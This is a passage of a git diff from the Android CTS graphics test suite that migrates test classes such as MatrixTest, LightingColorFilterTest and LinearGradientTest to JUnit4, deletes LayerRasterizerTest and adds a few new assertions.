+import android.support.test.runner.AndroidJUnit4;
 
+import junit.framework.TestCase;
 
-public class Interpolator_ResultTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class Interpolator_ResultTest {
+    @Test
     public void testValueOf() {
         assertEquals(Result.FREEZE_START, Result.valueOf("FREEZE_START"));
         assertEquals(Result.FREEZE_END, Result.valueOf("FREEZE_END"));
         assertEquals(Result.NORMAL, Result.valueOf("NORMAL"));
     }
 
+    @Test
     public void testValues() {
         Result[] result = Result.values();
         assertEquals(3, result.length);
diff --git a/tests/tests/graphics/src/android/graphics/cts/LayerRasterizerTest.java b/tests/tests/graphics/src/android/graphics/cts/LayerRasterizerTest.java
deleted file mode 100644
index 289ee77..0000000
--- a/tests/tests/graphics/src/android/graphics/cts/LayerRasterizerTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.cts;
-
-import junit.framework.TestCase;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.LayerRasterizer;
-import android.graphics.Paint;
-import android.graphics.Rasterizer;
-
-public class LayerRasterizerTest extends TestCase {
-    private final static int BITMAP_WIDTH = 16;
-    private final static int BITMAP_HEIGHT = 16;
-
-    private void exerciseRasterizer(Rasterizer rasterizer) {
-        Bitmap bm = Bitmap.createBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(bm);
-        Paint paint = new Paint();
-
-        // just want to confirm that we don't crash or throw an exception
-        paint.setRasterizer(rasterizer);
-        canvas.drawCircle(BITMAP_WIDTH/2, BITMAP_WIDTH/2, BITMAP_WIDTH/2, paint);
-    }
-
-    public void testConstructor() {
-        exerciseRasterizer(new LayerRasterizer());
-    }
-
-    public void testAddLayer1() {
-        LayerRasterizer layerRasterizer = new LayerRasterizer();
-        Paint p = new Paint();
-        layerRasterizer.addLayer(p);
-        exerciseRasterizer(layerRasterizer);
-    }
-
-    public void testAddLayer2() {
-        LayerRasterizer layerRasterizer = new LayerRasterizer();
-        layerRasterizer.addLayer(new Paint(), 1.0f, 1.0f);
-        exerciseRasterizer(layerRasterizer);
-        // explicitly add another layer and draw again
-        layerRasterizer.addLayer(new Paint(), 2.0f, 2.0f);
-        exerciseRasterizer(layerRasterizer);
-    }
-
-}
diff --git a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
index b8f28e0..c7befa8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
@@ -16,20 +16,30 @@
 
 package android.graphics.cts;
 
-
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.LightingColorFilter;
 import android.graphics.Paint;
-import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import com.android.compatibility.common.util.ColorUtils;
 
-public class LightingColorFilterTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LightingColorFilterTest {
     private static final int TOLERANCE = 2;
 
+    private void verifyColor(int expected, int actual) {
+        ColorUtils.verifyColor(expected, actual, TOLERANCE);
+    }
+
+    @Test
     public void testLightingColorFilter() {
         Bitmap bitmap = Bitmap.createBitmap(1, 1, Config.ARGB_8888);
         Canvas canvas = new Canvas(bitmap);
@@ -39,37 +49,37 @@
         paint.setColor(Color.MAGENTA);
         paint.setColorFilter(new LightingColorFilter(Color.WHITE, Color.BLACK));
         canvas.drawPaint(paint);
-        assertColor(Color.MAGENTA, bitmap.getPixel(0, 0));
+        verifyColor(Color.MAGENTA, bitmap.getPixel(0, 0));
 
         paint.setColor(Color.MAGENTA);
         paint.setColorFilter(new LightingColorFilter(Color.CYAN, Color.BLACK));
         canvas.drawPaint(paint);
-        assertColor(Color.BLUE, bitmap.getPixel(0, 0));
+        verifyColor(Color.BLUE, bitmap.getPixel(0, 0));
 
         paint.setColor(Color.MAGENTA);
         paint.setColorFilter(new LightingColorFilter(Color.BLUE, Color.GREEN));
         canvas.drawPaint(paint);
-        assertColor(Color.CYAN, bitmap.getPixel(0, 0));
+        verifyColor(Color.CYAN, bitmap.getPixel(0, 0));
 
         // alpha is ignored
         bitmap.eraseColor(Color.TRANSPARENT);
         paint.setColor(Color.MAGENTA);
         paint.setColorFilter(new LightingColorFilter(Color.TRANSPARENT, Color.argb(0, 0, 0xFF, 0)));
         canvas.drawPaint(paint);
-        assertColor(Color.GREEN, bitmap.getPixel(0, 0));
+        verifyColor(Color.GREEN, bitmap.getPixel(0, 0));
 
         // channels get clipped (no overflow into green or alpha)
         paint.setColor(Color.MAGENTA);
         paint.setColorFilter(new LightingColorFilter(Color.WHITE, Color.MAGENTA));
         canvas.drawPaint(paint);
-        assertColor(Color.MAGENTA, bitmap.getPixel(0, 0));
+        verifyColor(Color.MAGENTA, bitmap.getPixel(0, 0));
 
         // multiply before add
         paint.setColor(Color.argb(255, 60, 20, 40));
         paint.setColorFilter(
                 new LightingColorFilter(Color.rgb(0x80, 0xFF, 0x80), Color.rgb(0, 10, 10)));
         canvas.drawPaint(paint);
-        assertColor(Color.argb(255, 30, 30, 30), bitmap.getPixel(0, 0));
+        verifyColor(Color.argb(255, 30, 30, 30), bitmap.getPixel(0, 0));
 
         // source alpha remains unchanged
         bitmap.eraseColor(Color.TRANSPARENT);
@@ -77,13 +87,25 @@
         paint.setColorFilter(
                 new LightingColorFilter(Color.rgb(0x80, 0xFF, 0x80), Color.rgb(0, 10, 10)));
         canvas.drawPaint(paint);
-        assertColor(Color.argb(0x80, 30, 30, 30), bitmap.getPixel(0, 0));
+        verifyColor(Color.argb(0x80, 30, 30, 30), bitmap.getPixel(0, 0));
     }
 
-    private void assertColor(int expected, int actual) {
-        assertEquals(Color.alpha(expected), Color.alpha(actual), TOLERANCE);
-        assertEquals(Color.red(expected), Color.red(actual), TOLERANCE);
-        assertEquals(Color.green(expected), Color.green(actual), TOLERANCE);
-        assertEquals(Color.blue(expected), Color.blue(actual), TOLERANCE);
+    @Test
+    public void testGetColorAdd() {
+        LightingColorFilter filter = new LightingColorFilter(Color.WHITE, Color.BLACK);
+        ColorUtils.verifyColor(Color.BLACK, filter.getColorAdd());
+
+        filter = new LightingColorFilter(0x87654321, 0x12345678);
+        ColorUtils.verifyColor(0x12345678, filter.getColorAdd());
+    }
+
+
+    @Test
+    public void testGetColorMultiply() {
+        LightingColorFilter filter = new LightingColorFilter(Color.WHITE, Color.BLACK);
+        ColorUtils.verifyColor(Color.WHITE, filter.getColorMultiply());
+
+        filter = new LightingColorFilter(0x87654321, 0x12345678);
+        ColorUtils.verifyColor(0x87654321, filter.getColorMultiply());
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
index d44f7e3..185e6a1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
@@ -16,18 +16,29 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.LinearGradient;
+import android.graphics.Matrix;
 import android.graphics.Paint;
-import android.graphics.Bitmap.Config;
 import android.graphics.Shader.TileMode;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class LinearGradientTest extends AndroidTestCase {
+import com.android.compatibility.common.util.ColorUtils;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LinearGradientTest {
+    @Test
     public void testLinearGradient() {
         Bitmap b;
         LinearGradient lg;
@@ -51,7 +62,7 @@
         assertTrue(Color.red(b.getPixel(10, 20)) < Color.red(b.getPixel(10, 25)));
 
         lg = new LinearGradient(0, 0, 0, 40, Color.RED, Color.BLUE, TileMode.CLAMP);
-        b= drawLinearGradient(lg);
+        b = drawLinearGradient(lg);
 
         // The pixels in same gradient line should be equivalent
         assertEquals(b.getPixel(10, 10), b.getPixel(20, 10));
@@ -71,4 +82,17 @@
         canvas.drawPaint(paint);
         return b;
     }
+
+    @Test
+    public void testZeroScaleMatrix() {
+        LinearGradient gradient = new LinearGradient(0.5f, 0, 1.5f, 0,
+                Color.RED, Color.BLUE, TileMode.CLAMP);
+        Matrix m = new Matrix();
+        m.setScale(0, 0);
+        gradient.setLocalMatrix(m);
+        Bitmap bitmap = drawLinearGradient(gradient);
+
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(0, 0), 1);
+        ColorUtils.verifyColor(Color.BLACK, bitmap.getPixel(20, 20), 1);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
index 0a05ef3..6dfa96e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
@@ -16,13 +16,18 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
 import android.graphics.MaskFilter;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class MaskFilterTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MaskFilterTest {
+    @Test
     public void testConstructor() {
-        // new the MaskFilter instance
         new MaskFilter();
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
index 29e4f5f..f458778 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
@@ -15,39 +15,74 @@
  */
 package android.graphics.cts;
 
-import android.graphics.Matrix;
-import android.graphics.RectF;
-import android.graphics.Matrix.ScaleToFit;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-public class MatrixTest extends AndroidTestCase {
+import android.graphics.Camera;
+import android.graphics.Matrix;
+import android.graphics.Matrix.ScaleToFit;
+import android.graphics.RectF;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MatrixTest {
     private Matrix mMatrix;
     private float[] mValues;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mMatrix = new Matrix();
         mValues = new float[9];
     }
 
-    public void testConstractor() {
-        new Matrix();
-        new Matrix(mMatrix);
+    @Test
+    public void testConstructor() {
+        assertTrue(new Matrix().isIdentity());
+        assertTrue(new Matrix(mMatrix).isIdentity());
     }
 
+    @Test
     public void testIsIdentity() {
         assertTrue(mMatrix.isIdentity());
         mMatrix.setScale(0f, 0f);
         assertFalse(mMatrix.isIdentity());
     }
 
+    @Test
     public void testRectStaysRect() {
         assertTrue(mMatrix.rectStaysRect());
         mMatrix.postRotate(80);
         assertFalse(mMatrix.rectStaysRect());
     }
 
+    @Test
+    public void testIsAffine() {
+        assertTrue(mMatrix.isAffine());
+
+        // translate/scale/rotateZ don't affect whether matrix is affine
+        mMatrix.postTranslate(50, 50);
+        mMatrix.postScale(20, 4);
+        mMatrix.postRotate(80);
+        assertTrue(mMatrix.isAffine());
+
+        Camera camera = new Camera();
+        camera.setLocation(0, 0, 100);
+        camera.rotateX(20);
+        camera.getMatrix(mMatrix);
+        assertFalse(mMatrix.isAffine());
+    }
+
+    @Test
     public void testSet() {
         mValues[0] = 1000;
         mMatrix.getValues(mValues);
@@ -56,9 +91,10 @@
         mValues = new float[9];
         mValues[0] = 2000;
         matrix.getValues(mValues);
-        assertEquals(1f, mValues[0]);
+        assertEquals(1f, mValues[0], 0f);
     }
 
+    @Test
     public void testEquals() {
         mMatrix.setScale(1f, 2f);
         Matrix matrix = new Matrix();
@@ -68,189 +104,194 @@
         assertTrue(mMatrix.equals(matrix));
     }
 
+    @Test
     public void testReset() {
         mMatrix.setScale(1f, 2f, 3f, 4f);
-        String expect = "[1.0, 0.0, 0.0][0.0, 2.0, -4.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, -4.0f, 0.0f, 0.0f, 1.0f });
         mMatrix.reset();
-        expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetScale() {
-        String expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix.setScale(1f, 2f);
-        expect = "[1.0, 0.0, 0.0][0.0, 2.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetScale2() {
-        String expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
 
         mMatrix.setScale(1f, 2f, 3f, 4f);
-        expect = "[1.0, 0.0, 0.0][0.0, 2.0, -4.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, -4.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetRotate() {
         mMatrix.setRotate(1f);
-        String expect = "[0.9998477, -0.017452406, 0.0]"
-                + "[0.017452406, 0.9998477, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0f, 0.017452406f, 0.9998477f, 0.0f, 0.0f, 0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testSetRotate2() {
         mMatrix.setRotate(1f, 2f, 3f);
-        String expect = "[0.9998477, -0.017452406, 0.0526618]"
-                + "[0.017452406, 0.9998477, -0.034447942][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0526618f, 0.017452406f, 0.9998477f, -0.034447942f, 0.0f,
+                0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testSetSinCos() {
         mMatrix.setSinCos(1f, 2f);
-        String expect = "[2.0, -1.0, 0.0][1.0, 2.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 2.0f, -1.0f, 0.0f, 1.0f, 2.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetSinCos2() {
         mMatrix.setSinCos(1f, 2f, 3f, 4f);
-        String expect = "[2.0, -1.0, 1.0][1.0, 2.0, -7.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 2.0f, -1.0f, 1.0f, 1.0f, 2.0f, -7.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetSkew() {
         mMatrix.setSkew(1f, 2f);
-        String expect = "[1.0, 1.0, 0.0][2.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, 0.0f, 2.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetSkew2() {
         mMatrix.setSkew(1f, 2f, 3f, 4f);
-        String expect = "[1.0, 1.0, -4.0][2.0, 1.0, -6.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, -4.0f, 2.0f, 1.0f, -6.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testSetConcat() {
         Matrix a = new Matrix();
         Matrix b = new Matrix();
         mMatrix.setConcat(a, b);
-        String expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix = new Matrix();
         mMatrix.setConcat(mMatrix, b);
         mMatrix.setConcat(a, b);
-        expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix = new Matrix();
         mValues = new float[9];
         mMatrix.setConcat(a, mMatrix);
         mMatrix.getValues(mValues);
-        expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreTranslate() {
         assertTrue(mMatrix.preTranslate(1f, 2f));
-        String expect = "[1.0, 0.0, 1.0][0.0, 1.0, 2.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 1.0f, 0.0f, 1.0f, 2.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreScale() {
         assertTrue(mMatrix.preScale(1f, 2f));
-        String expect = "[1.0, 0.0, 0.0][0.0, 2.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreScale2() {
         assertTrue(mMatrix.preScale(1f, 2f, 3f, 4f));
-        String expect = "[1.0, 0.0, 0.0][0.0, 2.0, -4.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, -4.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreRotate() {
         assertTrue(mMatrix.preRotate(1f));
-        String expect = "[0.9998477, -0.017452406, 0.0][0.017452406, 0.9998477, "
-                + "0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0f, 0.017452406f, 0.9998477f, 0.0f, 0.0f, 0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testPreRotate2() {
         assertTrue(mMatrix.preRotate(1f, 2f, 3f));
         float[] values = new float[9];
         mMatrix.getValues(values);
-        String expect = "[0.9998477, -0.017452406, 0.0526618][0.017452406, 0.9998477,"
-                + " -0.034447942][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0526618f, 0.017452406f, 0.9998477f, -0.034447942f, 0.0f,
+                0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testPreSkew() {
         assertTrue(mMatrix.preSkew(1f, 2f));
-        String expect = "[1.0, 1.0, 0.0][2.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, 0.0f, 2.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreSkew2() {
         assertTrue(mMatrix.preSkew(1f, 2f, 3f, 4f));
-        String expect = "[1.0, 1.0, -4.0][2.0, 1.0, -6.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, -4.0f, 2.0f, 1.0f, -6.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPreConcat() {
         float[] values = new float[9];
         values[0] = 1000;
         Matrix matrix = new Matrix();
         matrix.setValues(values);
         assertTrue(mMatrix.preConcat(matrix));
-        String expect = "[1000.0, 0.0, 0.0][0.0, 0.0, 0.0][0.0, 0.0, 0.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1000.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f });
     }
 
+    @Test
     public void testPostTranslate() {
         assertTrue(mMatrix.postTranslate(1f, 2f));
-        String expect = "[1.0, 0.0, 1.0][0.0, 1.0, 2.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 1.0f, 0.0f, 1.0f, 2.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPostScale() {
         assertTrue(mMatrix.postScale(1f, 2f));
-        String expect = "[1.0, 0.0, 0.0][0.0, 2.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPostScale2() {
         assertTrue(mMatrix.postScale(1f, 2f, 3f, 4f));
-        String expect = "[1.0, 0.0, 0.0][0.0, 2.0, -4.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 2.0f, -4.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPostRotate() {
         assertTrue(mMatrix.postRotate(1f));
-        String expect = "[0.9998477, -0.017452406, 0.0]" +
-         "[0.017452406, 0.9998477, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0f, 0.017452406f, 0.9998477f, 0.0f, 0.0f, 0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testPostRotate2() {
         assertTrue(mMatrix.postRotate(1f, 2f, 3f));
-        String expect = "[0.9998477, -0.017452406, 0.0526618]" +
-        "[0.017452406, 0.9998477, -0.034447942][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] {
+            0.9998477f, -0.017452406f, 0.0526618f, 0.017452406f, 0.9998477f, -0.034447942f, 0.0f,
+                0.0f, 1.0f
+        });
     }
 
+    @Test
     public void testPostSkew() {
         assertTrue(mMatrix.postSkew(1f, 2f));
-        String expect = "[1.0, 1.0, 0.0][2.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, 0.0f, 2.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPostSkew2() {
         assertTrue(mMatrix.postSkew(1f, 2f, 3f, 4f));
-        String expect = "[1.0, 1.0, -4.0][2.0, 1.0, -6.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 1.0f, -4.0f, 2.0f, 1.0f, -6.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test
     public void testPostConcat() {
         Matrix matrix = new Matrix();
         float[] values = new float[9];
@@ -258,63 +299,57 @@
         matrix.setValues(values);
         assertTrue(mMatrix.postConcat(matrix));
 
-        String expect = "[1000.0, 0.0, 0.0][0.0, 0.0, 0.0][0.0, 0.0, 0.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1000.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f });
     }
 
+    @Test
     public void testSetRectToRect() {
         RectF r1 = new RectF();
         r1.set(1f, 2f, 3f, 3f);
         RectF r2 = new RectF();
         r1.set(10f, 20f, 30f, 30f);
         assertTrue(mMatrix.setRectToRect(r1, r2, ScaleToFit.CENTER));
-        String expect = "[0.0, 0.0, 0.0][0.0, 0.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix.setRectToRect(r1, r2, ScaleToFit.END);
 
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix.setRectToRect(r1, r2, ScaleToFit.FILL);
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         mMatrix.setRectToRect(r1, r2, ScaleToFit.START);
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f });
 
         assertFalse(mMatrix.setRectToRect(r2, r1, ScaleToFit.CENTER));
 
-        expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         assertFalse(mMatrix.setRectToRect(r2, r1, ScaleToFit.FILL));
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         assertFalse(mMatrix.setRectToRect(r2, r1, ScaleToFit.START));
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
         assertFalse(mMatrix.setRectToRect(r2, r1, ScaleToFit.END));
-        assertEquals(expect, mMatrix.toShortString());
-
-        try {
-            mMatrix.setRectToRect(null, null, ScaleToFit.CENTER);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test(expected=Exception.class)
+    public void testSetRectToRectNull() {
+        mMatrix.setRectToRect(null, null, ScaleToFit.CENTER);
+    }
+
+    @Test
     public void testInvert() {
         Matrix matrix = new Matrix();
         float[] values = new float[9];
         values[0] = 1000f;
         matrix.setValues(values);
         assertTrue(mMatrix.invert(matrix));
-        String expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, matrix.toShortString());
-        expect = "[1.0, 0.0, 0.0][0.0, 1.0, 0.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
-        boolean result = false;
-        try {
-            result = mMatrix.invert(null);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-        assertFalse(result);
+        verifyMatrix(new float[] { 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f });
     }
 
+    @Test(expected=Exception.class)
+    public void testInvertNull() {
+        mMatrix.invert(null);
+    }
+
+    @Test
     public void testSetPolyToPoly() {
         float[] src = new float[9];
         src[0] = 100f;
@@ -322,143 +357,148 @@
         dst[0] = 200f;
         dst[1] = 300f;
         assertTrue(mMatrix.setPolyToPoly(src, 0, dst, 0, 1));
-        String expect = "[1.0, 0.0, 100.0][0.0, 1.0, 300.0][0.0, 0.0, 1.0]";
-        assertEquals(expect, mMatrix.toShortString());
+        verifyMatrix(new float[] { 1.0f, 0.0f, 100.0f, 0.0f, 1.0f, 300.0f, 0.0f, 0.0f, 1.0f });
         try {
